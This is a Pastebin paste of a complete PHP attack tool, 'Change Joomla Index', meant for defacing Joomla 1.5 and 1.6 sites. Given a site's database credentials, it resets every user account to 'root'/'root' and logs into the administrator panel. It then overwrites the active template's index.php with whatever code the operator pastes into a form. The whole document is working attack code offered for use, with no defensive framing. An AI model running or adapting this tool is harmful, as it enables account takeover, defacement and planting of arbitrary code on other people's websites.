Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <link href='http://fonts.googleapis.com/css?family=Orbitron:700' rel='stylesheet' type='text/css'>
- <style type="text/css">
- body {
- background:
- url("http://i.imgur.com/hg21xZ9.png") repeat ,
- url("http://www.desktopas.com/files/2012/11/18/blue-and-black-abstract-1600x900.jpg") no-repeat center top,top left,top right;
- background-color: #000000;
- </style>
- <font face='Orbitron'>
- <?php
- ###########################################
- # Change Joomla Index #
- # Coded By RAB3OUN #
- # http://www.rab3oun.net/ #
- ###########################################
- if ($_POST['form_action'])
- {
- $h="<? echo(stripslashes(base64_decode('".urlencode(base64_encode(str_replace("'","'",($_POST['code']))))."'))); exit; ?>";
- $dbprefix=($_POST['db_prefix']);
- $username=($_POST['db_username']);
- $password=($_POST['db_password']);
- $dbname=($_POST['db_name']);
- $site_url=($_POST['site_url']);
- $co=randomt();
- $link=mysql_connect("localhost",$username,$password) ;
- mysql_select_db($dbname,$link) ;
- $tryChaningInfo = mysql_query("UPDATE ".$dbprefix."users SET username ='root' , password = '63a9f0ea7bb98050796b649e85481845'");
- echo("<br>[+] Changing root password to root");
- $req =mysql_query("SELECT * from `".$dbprefix."extensions` ");
- if ( $req )
- {
- #################################################################
- ###################### V1.6 ######################
- #################################################################
- $req =mysql_query("SELECT * from `".$dbprefix."template_styles` WHERE client_id='0' and home='1'");
- $data = mysql_fetch_array($req);
- $template_name=$data["template"];
- $req =mysql_query("SELECT * from `".$dbprefix."extensions` WHERE name='".$template_name."'");
- $data = mysql_fetch_array($req);
- $template_id=$data["extension_id"];
- $url2=$site_url."/index.php";
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $url2);
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
- curl_setopt($ch, CURLOPT_HEADER, 1);
- curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
- curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
- curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
- $buffer = curl_exec($ch);
- $return=entre2v2($buffer ,'<input type="hidden" name="return" value="','"');
- $hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',4);
- ///////////////////////////
- $url2=$site_url."/index.php";
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $url2);
- curl_setopt($ch, CURLOPT_POST, 1);
- curl_setopt($ch, CURLOPT_POSTFIELDS,"username=root&passwd=root&option=com_login&task=login&return=".$return."&".$hidden."=1");
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
- curl_setopt($ch, CURLOPT_HEADER, 0);
- curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
- curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
- curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
- $buffer = curl_exec($ch);
- $pos = strpos($buffer,"com_config");
- if($pos === false) {
- echo("<br>[-] Login Error");
- exit;
- }
- else {
- echo("<br>[+] Login Successful");
- }
- ///////////////////////////
- $url2=$site_url."/index.php?option=com_templates&task=source.edit&id=".base64_encode($template_id.":index.php");
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $url2);
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
- curl_setopt($ch, CURLOPT_HEADER, 0);
- curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
- curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
- curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
- $buffer = curl_exec($ch);
- $hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',2);
- if($hidden2) {
- echo("<br>[+] index.php file founded in Theme Editor");
- }
- else {
- echo("<br>[-] index.php Not found in Theme Editor");
- exit;
- }
- echo("<br>[*] Updating Index.php .....");
- $url2=$site_url."/index.php?option=com_templates&layout=edit";
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $url2);
- curl_setopt($ch, CURLOPT_POST, 1);
- curl_setopt($ch, CURLOPT_POSTFIELDS,"jform[source]=".$h."&jform[filename]=index.php&jform[extension_id]=".$template_id."&".$hidden2."=1&task=source.save");
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
- curl_setopt($ch, CURLOPT_HEADER, 0);
- curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
- curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
- curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
- $buffer = curl_exec($ch);
- $pos = strpos($buffer,'<dd class="message message">');
- if($pos === false) {
- echo("<br>[-] Updating Index.php Error");
- exit;
- }
- else {
- echo("<br>[+] Index.php successfully saved");
- }
- #################################################################
- ###################### V1.6 END ######################
- #################################################################
- }
- else
- {
- #################################################################
- ###################### V1.5 ######################
- #################################################################
- $req =mysql_query("SELECT * from `".$dbprefix."templates_menu` WHERE client_id='0'");
- $data = mysql_fetch_array($req);
- $template_name=$data["template"];
- $url2=$site_url."/index.php";
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $url2);
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
- curl_setopt($ch, CURLOPT_HEADER, 1);
- curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
- curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
- curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
- $buffer = curl_exec($ch);
- $hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',3);
- $url2=$site_url."/index.php";
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $url2);
- curl_setopt($ch, CURLOPT_POST, 1);
- curl_setopt($ch, CURLOPT_POSTFIELDS,"username=root&passwd=root&option=com_login&task=login&".$hidden."=1");
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
- curl_setopt($ch, CURLOPT_HEADER, 0);
- curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
- curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
- curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
- $buffer = curl_exec($ch);
- $pos = strpos($buffer,"com_config");
- if($pos === false) {
- echo("<br>[-] Login Error");
- exit;
- }
- else {
- echo("<br>[+] Login Successful");
- }
- ///////////////////////////
- $url2=$site_url."/index.php?option=com_templates&task=edit_source&client=0&id=".$template_name;
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $url2);
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
- curl_setopt($ch, CURLOPT_HEADER, 0);
- curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
- curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
- curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
- $buffer = curl_exec($ch);
- $hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',6);
- if($hidden2) {
- echo("<br>[+] index.php file founded in Theme Editor");
- }
- else {
- echo("<br>[-] index.php Not found in Theme Editor");
- }
- echo("<br>[*] Updating Index.php .....");
- $url2=$site_url."/index.php?option=com_templates&layout=edit";
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $url2);
- curl_setopt($ch, CURLOPT_POST, 1);
- curl_setopt($ch, CURLOPT_POSTFIELDS,"filecontent=".$h."&id=".$template_name."&cid[]=".$template_name."&".$hidden2."=1&task=save_source&client=0");
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
- curl_setopt($ch, CURLOPT_HEADER, 0);
- curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
- curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
- curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
- $buffer = curl_exec($ch);
- $pos = strpos($buffer,'<dd class="message message fade">');
- if($pos === false) {
- echo("<br>[-] Updating Index.php Error");
- exit;
- }
- else {
- echo("<br>[+] Index.php successfully saved");
- }
- #################################################################
- ###################### V1.5 END ######################
- #################################################################
- }
- }
- function randomt() {
- $chars = "abcdefghijkmnopqrstuvwxyz023456789";
- srand((double)microtime()*1000000);
- $i = 0;
- $pass = '' ;
- while ($i <= 7) {
- $num = rand() % 33;
- $tmp = substr($chars, $num, 1);
- $pass = $pass . $tmp;
- $i++;
- }
- return $pass;
- }
- function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1)
- {
- $ar0=explode($marqueurDebutLien, $text);
- $ar1=explode($marqueurFinLien, $ar0[$i]);
- $ar=trim($ar1[0]);
- return $ar;
- }
- echo "
- \n";
- echo "<title>root .-.</title>
- \n";
- echo " <style>
- \n";
- echo "
- \n";
- echo "BODY { SCROLLBAR-BASE-COLOR: #191919; SCROLLBAR-ARROW-COLOR: olive; color: white;}
- \n";
- echo "textarea{background-color:#191919;color:red;font-weight:bold;font-size: 12px;font-family: Orbitron; border: 1px solid #666666;}
- \n";
- echo "input{FONT-WEIGHT:normal;background-color: #191919;font-size: 13px;font-weight:bold;color: red; font-family: Orbitron; border: 1px solid #666666;height:17}
- \n";
- echo "</style>
- \n";
- echo "<center>
- \n";
- echo "<font color=\"#FFFF6FF\" size='+3' face='Orbitron'>[ ~~ Change Joomla Index ~~ ]</font><br><br>
- \n";
- echo "<FORM action=\"\" method=\"post\">
- \n";
- echo "<input type=\"hidden\" name=\"form_action\" value=\"2\">
- \n";
- echo "<br>
- \n";
- echo "<table border=1>
- \n";
- echo "
- \n";
- echo "<tr><td>db_prefix </td><td><input type=\"text\" size=\"30\" name=\"db_prefix\" value=\"jos_\"></td></tr>
- \n";
- echo "<tr><td>db_username </td><td><input type=\"text\" size=\"30\" name=\"db_username\" value=\"\"></td></tr>
- \n";
- echo "<tr><td>db_password</td><td><input type=\"text\" size=\"30\" name=\"db_password\" value=\"\"></td></tr>
- \n";
- echo "<tr><td>db_name</td><td><input type=\"text\" size=\"30\" name=\"db_name\" value=\"\"></td></tr>
- \n";
- echo "<tr><td>Admin Control panel url</td><td><input type=\"text\" size=\"60\" name=\"site_url\" value=\"http://site.com/administrator/\"></td></tr>
- \n";
- echo "
- \n";
- echo "</table>
- \n";
- echo "<br>
- \n";
- echo "<br>
- \n";
- echo "<TEXTAREA rows=\"18\" cols=\"50\" name=\"code\"></TEXTAREA>
- \n";
- echo " <br>
- \n";
- echo "<INPUT class=submit type=\"submit\" value=\"Submit\" name=\"Submit\">
- \n";
- echo "</FORM>
- \n";
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement